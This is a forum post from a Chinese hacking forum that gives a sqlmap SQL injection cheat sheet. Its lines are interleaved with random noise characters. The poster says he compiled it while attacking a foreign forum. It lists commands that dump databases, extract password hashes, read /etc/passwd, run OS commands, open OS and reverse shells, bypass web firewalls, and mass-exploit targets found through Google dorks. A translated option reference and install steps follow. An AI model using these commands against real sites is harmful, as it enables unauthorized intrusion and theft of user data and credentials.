找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3320|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
3 ^6 R0 {* Z/ H# M% n1 x+ m. ksqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称/ X! j% j( }  r" E# e
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
/ [4 P5 O1 W/ r6 ?  vsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
# z/ u) C! N$ P9 E 0 `, j7 {% @3 u5 e$ a
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v3 P; ^% w& V* Z8 s" l
0 #获取字段内容
0 M  y: H6 f+ g
1 V% q5 I# n( t2 Q, H2 o1 o******************信息获取******************3 K" c) w+ i/ r. }- j) ?8 [* g1 z
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
. w9 Y/ r! H8 _sqlmap -u “http://url/news?id=1″ –users #列数据库用户7 l) ^2 q8 l8 h, }
sqlmap -u “http://url/news?id=1″ –dbs#列数据库  t+ U+ V4 T: g( T  m, v9 ]
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码" A5 e! R3 ~8 {  H2 C2 d
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码+ C$ y2 [3 W5 l* S# g1 `0 ?
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
/ N4 S% ?$ }; ?) F( u" Y–start 1 –stop 20 #列出指定字段,列出20 条
1 [  x9 T. K" a( {9 B4 gsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
& f' P" U7 O: gsqlmap -u “http://url/news?id=1″ –privileges #查看权限
* F/ q( c9 N5 |sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色+ M6 r9 N5 Q4 ?0 v" r  @7 n
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)1 s0 M, h9 n7 N
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表4 P- _8 I% X' `7 P% j( D
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录7 @5 T. Y# e; D# _  c! e( S4 |* n) j) b
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入1 D- x; G. }) H4 b5 V4 q
sqlmap -u “http://url/news?id=1″-b #获取banner信息, k$ L9 O' Z% R  J  O- _( U$ l
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入$ K6 m5 v" K2 L. r; n8 Z" |* F
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
5 b3 p7 g# R& R/ @& Ysqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入. A1 B- I! p* k5 \
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词8 l6 w6 H; _; j  u/ V/ k9 }. x
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
3 ?$ i* Y. r: M3 z. n9 R( T( @sqlmap -u “http://url/news?id=1″ –file /etc/passwd
4 v; |- a( m9 Y# t4 I( n8 j0 isqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
/ {9 h( E) J* E' l- dsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
' W! F8 {, v0 b4 v0 Z- _sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
, X7 X- k3 ?. x/ Jsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
! k6 f) u; w) H  F5 t" ssqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
/ `. C0 Y$ M2 I' X& K***********高级用法*************4 ?- S- G! _3 z5 n
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入' g. \# ]: @5 b: r* d1 k
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
. C/ t, ^; Q8 h9 O) s4 K–technique   测试指定注入类型\使用的技术
* w1 }) c' d" R+ Y3 ?: n  g不加参数默认测试所有注入技术
# {. [4 P, |8 U•     B: 基于布尔的SQL 盲注. m4 Q3 f2 Y0 R3 ^
•     E: 基于显错sql 注入6 d$ i+ e; E4 [2 U" ~3 K- Q* V
•     U: 基于UNION 注入& y* u5 Q9 c- {5 v6 g
•     S: 叠层sql 注入" e" `' N( V6 d4 A; j; i+ z- ^
•     T: 基于时间盲注  ]7 o/ c2 B# M% o
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()2 k, p# J* @9 q2 |  J
–tamper 插件所在目录
  \3 ?9 d5 i: U+ O* }\sqlmap-dev\tamper
! X% G( ?9 w  c! @( Psqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
# V# C( Y: |/ r/ i8 Mlevel 执行测试等级 攻击实例:
! ~1 H4 d" L* G8 V' k& tSqlmap -u “http://url/news?id=1&Submit=Submit”+ S7 ^! H7 w# Z
–cookie=”PHPSESSID=41aa833e6d0d
* y7 k: ?1 Y8 g+ S28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user- q' B; U/ H. X8 {* Y( s/ J+ G
–password
, g+ W) U. K: H参考文档:http://sqlmap.sourceforge.net/doc/README.html
' l7 e& W$ N* d) X, p- q***********安装最新版本*************
+ e9 {! E3 b# [4 K5 D3 w; k5 M5 eubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
* N3 c" y& ?3 H* J7 e' F! b  X9 Q4 usudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
5 b3 L8 L, a% P% ^2 f安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件" X/ z( l5 o; P, X# V! `: a" ?4 ^% V
sudo vim /home/当前用户/.bashrc
( y* r/ Z0 r! C# c+ }+ W( o# l0 b#任意位置加上:
8 P# u0 y3 E- G. Y. z% Falias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效8 ]5 \' {: r  E2 I  W8 V
如果想对所有用户有效 可设置全局 编辑下面的文件" n9 Q# R, v6 W/ L
vim /etc/profile; _/ o9 S/ }9 q/ C' D
同样加上:
" ]+ z, m! E2 o0 Oalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效+ m+ ?% n4 O6 D3 h
******************windows 7 (x64) sqlmap install (SVN)************
+ w: h7 ?/ s: C3 rhttp://www.python.org/getit/ 安装python4 \$ O3 n+ d3 b7 X1 V
http://www.sliksvn.com/en/download 安装windows svn client
# d# M% O9 {8 H/ j: i. Esvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev+ s0 y- F; k  E4 E
安装sqlmap% b8 C6 Q" ~# o- K' I! g( q
*修改环境变量
( ^  j/ i/ E) i/ g–version             显示程序的版本号并退出
  l: H- N5 [2 L  u. S4 z-h, –help            显示此帮助消息并退出
% C; o) g9 \0 w) @, Y0 ]. J-v VERBOSE            详细级别:0-6(默认为1)- a6 t) E# N9 r# y& h$ r
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
6 K& {; G* ]. z# k/ b3 w% O-d DIRECT           直接连接到数据库。
6 U' K1 A2 U& v. V9 E% l; S& {5 B-u URL, –url=URL   目标URL。
. P8 i% m: Q0 g+ M-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
9 V4 e2 C+ t7 q9 Q-r REQUESTFILE      从一个文件中载入HTTP 请求。
" n! U+ O) [6 b! g$ V% t-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
/ S- D- p7 `: b3 w-c CONFIGFILE       从INI 配置文件中加载选项。
% n! ?+ d8 N# Q& O! u3 v; _$ gRequest(请求)::) }+ Y' ]* `* Q8 |6 p4 q
这些选项可以用来指定如何连接到目标URL。
: k7 h" u2 ^* f5 K–data=DATA         通过POST 发送的数据字符串! n3 v& @* u6 P" m& `# R
–cookie=COOKIE     HTTP Cookie 头
. t  e$ {! U9 U& ~–cookie-urlencode  URL 编码生成的cookie 注入- u8 t" F6 F2 p+ p8 h! g; K4 n
–drop-set-cookie   忽略响应的Set –Cookie 头信息' v! @# l2 {5 y7 v5 h; M( a# T

$ ?  Y( }  K# n6 ^–user-agent=AGENT  指定  HTTP User –Agent 头
) h' m8 `: V8 q" G) G6 Q–random-agent      使用随机选定的HTTP User –Agent 头
" e6 w6 {% k+ ]0 G# P0 f9 M–referer=REFERER   指定  HTTP Referer 头- Q3 R, [5 i' Q- u  `
–headers=HEADERS   换行分开,加入其他的HTTP 头" y6 m2 G3 N  n. t2 [- [
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM), w7 m' l! q$ {- c
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
4 S/ \2 f7 w/ v+ y4 ?: O2 e–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
3 ?; U; B6 A- d–proxy=PROXY       使用HTTP 代理连接到目标URL
1 f+ z- V) |: ^# N$ O+ H. k8 n–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)% W/ A  }: u% X( h
–ignore-proxy      忽略系统默认的HTTP 代理/ ?; l/ X) v" C# _" f$ [5 \, _
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
8 M3 C1 N1 O$ J–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
9 @/ V0 R+ x. M/ [, I–retries=RETRIES   连接超时后重新连接的时间(默认3). ?  ]) h2 j1 R; b: }
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式: g( z! X8 |% ?; @% a4 h
–safe-url=SAFURL   在测试过程中经常访问的url 地址
6 Z* u7 G/ }3 T0 A) F7 p–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL# D* W% `5 A) f- D: F
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
: B6 J& n$ l% I: O7 x- p-o                  开启所有优化开关' ~0 K( Z. K; q; M
–predict-output    预测常见的查询输出
2 @& ~' ^  M4 m, K–keep-alive        使用持久的HTTP(S)连接% ?5 T6 Q) U$ |4 d5 v6 o
–null-connection   从没有实际的HTTP 响应体中检索页面长度& p5 Y! k" F( G, y! @7 ?
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)) Z4 A- `# ^! ?/ r4 k+ n
Injection(注入):+ k, ^4 Y" q, t- @6 E
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
4 u% W% C1 s" o6 F-p TESTPARAMETER    可测试的参数(S). h3 ]3 ^8 i; k2 }7 S, o+ }
–dbms=DBMS         强制后端的DBMS 为此值
7 r2 T' E6 _0 t% R+ x–os=OS             强制后端的DBMS 操作系统为这个值
8 `8 Y9 u0 N+ E+ J2 z( V, v- V–prefix=PREFIX     注入payload 字符串前缀
( L* E6 A& ^& S+ @/ _–suffix=SUFFIX     注入 payload 字符串后缀
& ~7 ~" T% B! f3 i4 @" D+ M: l–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
$ ]- g5 b6 T8 d$ x% [+ m! `. h7 JDetection(检测):
$ c5 C8 u0 F: x9 \/ p2 v5 M这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
4 s0 q6 A8 Y" t5 Z6 w. k! ~7 J–level=LEVEL       执行测试的等级(1-5,默认为1)% Z) a" J) q, [1 D* H
–risk=RISK         执行测试的风险(0-3,默认为1)
/ K6 ?7 H$ L+ o8 k- q–string=STRING     查询时有效时在页面匹配字符串0 G* z, J2 ]0 A0 ~2 E- L
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
4 ?+ K& V- M7 p  m$ h–text-only         仅基于在文本内容比较网页
. h( l( i+ y8 N' J5 O0 @% OTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。$ Y  R0 D+ X! |  _! U
–technique=TECH    SQL 注入技术测试(默认BEUST)' s& n' M; P  ~) u- u4 V/ n
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)6 @& b+ F7 @  F5 K
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
3 t( u' z3 W5 c5 L/ y–union-char=UCHAR  用于暴力猜解列数的字符
( _  |+ K! ^8 b& r" m; y$ uFingerprint(指纹):/ ~- g3 s7 f, p6 c: O, g0 r; L
-f, –fingerprint     执行检查广泛的DBMS 版本指纹) P5 ~: b* @1 Z) |9 D; Q
Enumeration(枚举):
0 Y9 Q8 \; p0 Q. G& E# s( G
; U/ y# h: _, E( L1 u% @这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
- P/ L' m. b" `3 x* n, W: ?. h-b, –banner        检索数据库管理系统的标识
: W' X1 \4 D" @! ~; l, Z' X–current-user      检索数据库管理系统当前用户( R5 T+ \0 y: y9 F
–current-db        检索数据库管理系统当前数据库, N! p! V3 J$ B' f+ N: K! r
–is-dba            检测DBMS 当前用户是否DBA
8 u& {; S: g6 F" ~9 o–users             枚举数据库管理系统用户
, F7 X; E( }" S2 R–passwords         枚举数据库管理系统用户密码哈希
3 p: U! b& k+ ?: o–privileges        枚举数据库管理系统用户的权限
9 [7 G9 y6 d3 E8 j7 ?# x. M; w–roles             枚举数据库管理系统用户的角色& g' j! O4 O. E! H2 U
–dbs               枚举数据库管理系统数据库: X: @" P4 c) F$ N) o' d
–tables            枚举的DBMS 数据库中的表
# E) M% X/ P. C$ r  m–columns           枚举DBMS 数据库表列
5 t  x) `* Y% A  e1 i9 J% T% c2 B–dump              转储数据库管理系统的数据库中的表项: ?, m, d- |: c4 n0 G1 S& i7 Q4 v
–dump-all          转储所有的DBMS 数据库表中的条目+ v0 n, Q$ Y' C* z+ x
–search            搜索列(S),表(S)和/或数据库名称(S)
" z; }6 S# \6 B" `4 i& }5 j-D DB               要进行枚举的数据库名
5 }& }/ d% E. i: q* l0 ^* O) d9 E-T TBL              要进行枚举的数据库表
1 L& n% z2 y' Y, r: K# [-C COL              要进行枚举的数据库列
" M  I& l/ ^& y8 G, d% [-U USER             用来进行枚举的数据库用户: ?( H/ O/ N/ M0 a: {
–exclude-sysdbs    枚举表时排除系统数据库
% k& z* G+ y; S! y–start=LIMITSTART  第一个查询输出进入检索3 Z- F: J4 f" L4 n& v
–stop=LIMITSTOP    最后查询的输出进入检索
( Y/ g% o; T1 P9 f: x–first=FIRSTCHAR   第一个查询输出字的字符检索) k. D7 b  n5 F/ p, u
–last=LASTCHAR     最后查询的输出字字符检索
, q( f. T' \/ @6 p* e–sql-query=QUERY   要执行的SQL 语句
  `" o1 ?1 m) o# Z3 X–sql-shell         提示交互式SQL 的shell
: n. N& `' F' I' v7 }: F* d) SBrute force(蛮力): 这些选项可以被用来运行蛮力检查。9 n9 O3 b. B1 t
–common-tables     检查存在共同表
5 `8 P4 z( ]9 \% {, e–common-columns    检查存在共同列- N; ?1 l% M3 N  X! Y3 }
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
; G! s; @7 A1 _" z: v* G–udf-inject        注入用户自定义函数
2 }2 _* O0 x* r6 c) @1 Q–shared-lib=SHLIB  共享库的本地路径
! Q( d8 B# h9 p: h+ V  DFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。4 N" q. Z: S1 o0 k( V+ G, Y
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
# i# X* W: V* f2 i2 [+ b1 B+ ^' Y–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
; p0 L* X, H" d% X/ w2 E1 M–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
" c! k4 x- v* p' e. c! sOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。, j+ t6 z" @, e' @6 R; O
–os-cmd=OSCMD      执行操作系统命令6 \& b6 f* B" L5 R2 R( z
–os-shell          交互式的操作系统的shell
0 @. j( f7 K. a$ h–os-pwn            获取一个OOB shell,meterpreter 或VNC
- f+ O; k. l5 q  n9 B' U  a! o–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
- P! j9 ~5 G) y3 T0 W+ o–os-bof            存储过程缓冲区溢出利用4 @" k5 d) O$ `# C9 a2 P  a
–priv-esc          数据库进程用户权限提升
8 ]4 Q; B7 H; O–msf-path=MSFPATH  Metasploit Framework 本地的安装路径  x) ^& z% P7 \; k
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
8 f* ^1 V+ P6 J
% A6 |5 n- z* d! O: H* KWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
) e: o1 b7 P8 G& p2 b5 }( @–reg-read          读一个Windows 注册表项值
# e: h% @' Q- X$ _–reg-add           写一个Windows 注册表项值数据
" \; K9 I9 c' ?- u3 }5 P1 ~–reg-del           删除Windows 注册表键值
' ?& q2 C7 ~7 ?% X, {, M–reg-key=REGKEY    Windows 注册表键: V$ t" \3 W) l1 E# N
–reg-value=REGVAL  Windows 注册表项值
" e0 e+ ~( c  [–reg-data=REGDATA  Windows 注册表键值数据
' z+ O& q7 w3 r) q: `0 Q–reg-type=REGTYPE  Windows 注册表项值类型- M2 T8 U& v, O0 R$ t1 G& t9 a
General(一般): 这些选项可以用来设置一些一般的工作参数。
) h! B6 X2 b% Z-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
: |, U7 u( x+ p& y; Y5 F6 V9 I" [-s SESSIONFILE      保存和恢复检索会话文件的所有数据
4 a2 w' E, p3 O–flush-session     刷新当前目标的会话文件# {8 R9 n5 w, k- H
–fresh-queries     忽略在会话文件中存储的查询结果
# K* {, q' d5 [( C–eta               显示每个输出的预计到达时间6 S8 z- w8 ], y% @& v
–update            更新SqlMap
. ?4 u+ K; {; @' a  U# ]! K- A7 f0 ]–save              file 保存选项到INI 配置文件! H- s! k; F% K# p" `9 V
–batch             从不询问用户输入,使用所有默认配置。
! \. u1 y) L6 [8 K1 k- F7 AMiscellaneous(杂项):; e# A) U! t# T: I5 R3 ]- g
–beep              发现SQL 注入时提醒
# R3 R! s8 F1 m2 I–check-payload     IDS 对注入payloads 的检测测试" _7 s' W$ ^" M& w$ _  C
–cleanup           SqlMap 具体的UDF 和表清理DBMS
' Q+ A/ T1 C! x- y–forms             对目标URL 的解析和测试形式' Z+ f4 Z5 y+ K- |& N: Y4 b
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
- ~; p. }& q- ]–page-rank         Google dork 结果显示网页排名(PR)
" Z& J: g! y; u9 d9 l2 r–parse-errors      从响应页面解析数据库管理系统的错误消息
$ _# ]& ?' M  B4 Q3 a( O–replicate         复制转储的数据到一个sqlite3 数据库# v1 Y/ E* `. {* l& K; f
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
" Y: r$ B9 V$ `' q1 d& V–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表